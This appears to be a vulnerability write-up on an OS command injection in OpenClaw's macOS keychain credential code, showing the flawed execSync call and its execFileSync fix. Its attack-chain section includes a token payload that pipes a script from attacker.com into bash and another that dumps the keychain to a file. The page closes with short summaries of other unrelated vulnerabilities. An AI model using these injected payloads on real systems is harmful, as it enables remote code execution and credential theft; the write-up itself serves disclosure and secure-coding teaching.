Feb 18, 2026·5 min read·24 visits
OpenClaw's macOS keychain integration used `execSync` to store credentials, allowing malicious OAuth tokens to trigger Command Injection. Attackers can gain RCE by injecting shell metacharacters into the token response. Fixed in v2026.2.14.
A critical OS Command Injection vulnerability in the OpenClaw AI assistant allows remote code execution via malicious OAuth tokens. By failing to sanitize inputs before passing them to the macOS 'security' utility, the application permits attackers to execute arbitrary shell commands with the privileges of the host user. This transforms the keychain credential management feature—designed for security—into a high-impact entry point for compromise.
We live in the age of "Agentic AI." We don't just want chatbots that talk; we want agents that do. We want them to manage our calendars, commit our code, and handle our authentication keys. OpenClaw is one such ambitious project, designed to act as a personal AI assistant that integrates deeply with developer tools.
Specifically, OpenClaw features a module to manage authentication for the Claude CLI. To make life seamless for the user, it automatically refreshes OAuth tokens and saves them directly into the macOS Keychain using the native /usr/bin/security utility. It's a convenient feature that saves you from copy-pasting API keys every hour.
But here is the irony: in an effort to securely store secrets, OpenClaw created a massive hole. By trusting the data coming back from an OAuth provider, the application inadvertently handed the keys to the kingdom (quite literally, the Keychain) to anyone who could manipulate that data stream. It’s the classic story of convenience functionality bypassing security fundamentals.
If I had a nickel for every time a developer used string interpolation to build a system command, I’d have enough money to buy a zero-day broker. The vulnerability lies in src/agents/cli-credentials.ts within the writeClaudeCliKeychainCredentials function.
The logic was simple: take the new credentials (an object containing access and refresh tokens), serialize them to JSON, and update the keychain entry. The developer reached for Node.js's child_process.execSync. This function is the programmatic equivalent of typing a command into your terminal.
Here is where the "developer brain" failed. They assumed that because they were wrapping the JSON string in single quotes, it was safe. They even added a regex replace to handle single quotes inside the data. But they forgot that execSync spawns a shell (/bin/sh or /bin/zsh). Shells are hungry interpreters. They don't just look at quotes; they look for command substitutions ($()), backticks (`), and logic operators (&&, ||).
When the application constructed the command string, it embedded the user-controlled (or provider-controlled) token directly into the execute buffer. If that token contained shell metacharacters, the shell would eagerly execute them before passing the result to the security tool.
Let's look at the vulnerable code pattern. It's a textbook example of why you should never concatenate strings to run executables.
The Vulnerable Pattern (Simplified):
// DANGER: Do not do this at home
const newValue = JSON.stringify(credentials);
// The code attempts to escape single quotes, but nothing else
const escapedValue = newValue.replace(/'/g, "'\"'\"'");
// The command is passed as a single string to a shell
execSync(
`security add-generic-password -U -s "${SERVICE}" -a "${ACCOUNT}" -w '${escapedValue}'`,
{ encoding: "utf8" }
);If newValue contains $(touch /tmp/pwned), the shell sees a command substitution request. It executes touch /tmp/pwned first, takes the output (which is empty), and then runs the security command with an empty password. The attack has already happened.
The Fix (Commit 9dce3d8):
The patch is elegant and correct. It switches from execSync (shell execution) to execFileSync (process execution).
// SAFE: Arguments are passed as an array
execFileSync("security", [
"add-generic-password",
"-U",
"-s", CLAUDE_CLI_KEYCHAIN_SERVICE,
"-a", CLAUDE_CLI_KEYCHAIN_ACCOUNT,
"-w", newValue, // Passed as a raw string argument. No shell involved.
], { encoding: "utf8" });By passing the arguments as an array, Node.js invokes the security binary directly via the execvp syscall family. There is no shell to interpret special characters. $(...) is treated literally as the characters $ ( . . .. Chaos averted.
How does an attacker weaponize this? The input vector is the OAuth token response. This usually comes from a trusted provider (like Anthropic), but what if the user connects to a malicious proxy? What if a Man-in-the-Middle attack modifies the traffic? Or what if a rogue employee at a provider modifies the database?
The Attack Chain:
access_token includes a shell payload.
x'$(curl -s http://attacker.com/shell.sh | bash)'yexecSync.$() and executes the curl command. The victim's machine pulls down a script and executes it.This is a particularly nasty vector because it's "blind." The user just sees their agent working, while in the background, a reverse shell has been popped.
This isn't just a crash. This is full Remote Code Execution (RCE) with the privileges of the logged-in user. On macOS, this is devastating.
$(security dump-keychain > /tmp/all_passwords.txt). They could steal every password stored on your Mac—Wi-Fi passwords, browser logins, SSH keys, code signing certificates..zshrc.This is a "game over" bug for the affected machine.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
openclaw openclaw | < 2026.2.14 | 2026.2.14 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-78 |
| Attack Vector | Network (via OAuth response) |
| CVSS | 8.8 (High) |
| Impact | Remote Code Execution (RCE) |
| Exploit Status | PoC Available |
| Platform | macOS |
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
An improper authentication vulnerability (CWE-287) exists in the legacy, deprecated Internet Key Exchange version 1 (IKEv1) key exchange protocol implementation in Check Point Security Gateways. The vulnerability is caused by a logic flow weakness during the certificate validation process for Remote Access VPN and Mobile Access (SSL VPN) connections. An unauthenticated remote attacker can exploit this weakness to bypass user authentication entirely, establishing a fully functional Remote Access VPN connection without a valid password.
GeoNode versions prior to 4.4.5 and 5.0.2 are vulnerable to Server-Side Request Forgery (SSRF) in the service registration endpoint. Authenticated attackers with low privileges can exploit insufficient input validation in the Web Map Service (WMS) registration module to force the application server to make outbound network queries to loopback addresses, private RFC1918 subnets, link-local scopes, and cloud metadata endpoints. This technical report details the mechanics of the vulnerability, the underlying architectural flaw, and how to effectively remediate and mitigate the associated security risks.
CVE-2022-0492 is a high-severity missing authorization vulnerability in the Linux kernel's Control Groups (cgroups) v1 implementation. The flaw resides within the cgroup_release_agent_write function in kernel/cgroup/cgroup-v1.c, where the kernel fails to validate if the process writing to the release_agent file possesses administrative capabilities in the initial user namespace. This allows a local attacker inside a container with root privileges (UID 0) to abuse user namespaces, mount a cgroups v1 directory, modify the release_agent parameter, and execute arbitrary commands on the host system as host root, effectively achieving a complete container escape.
NocoDB is subject to an insufficient session expiration vulnerability where OAuth access and refresh tokens are not invalidated or revoked during security-sensitive actions such as password changes, forgot-password requests, or password resets. This allows an attacker possessing an active OAuth token to maintain unauthorized persistence.
A vulnerability in the vantage6 federated learning framework allows unauthenticated remote attackers to gain administrative control of the server via hardcoded default credentials (root/root) when deployed under default configurations in versions 4.2.3 and below.
An improper access control vulnerability in the vantage6 node component allows concurrently running algorithm containers to read and modify sensitive input and output files of other tasks. The lack of strict workspace directory isolation exposes a significant attack surface in multi-tenant or federated environments where untrusted algorithms are executed.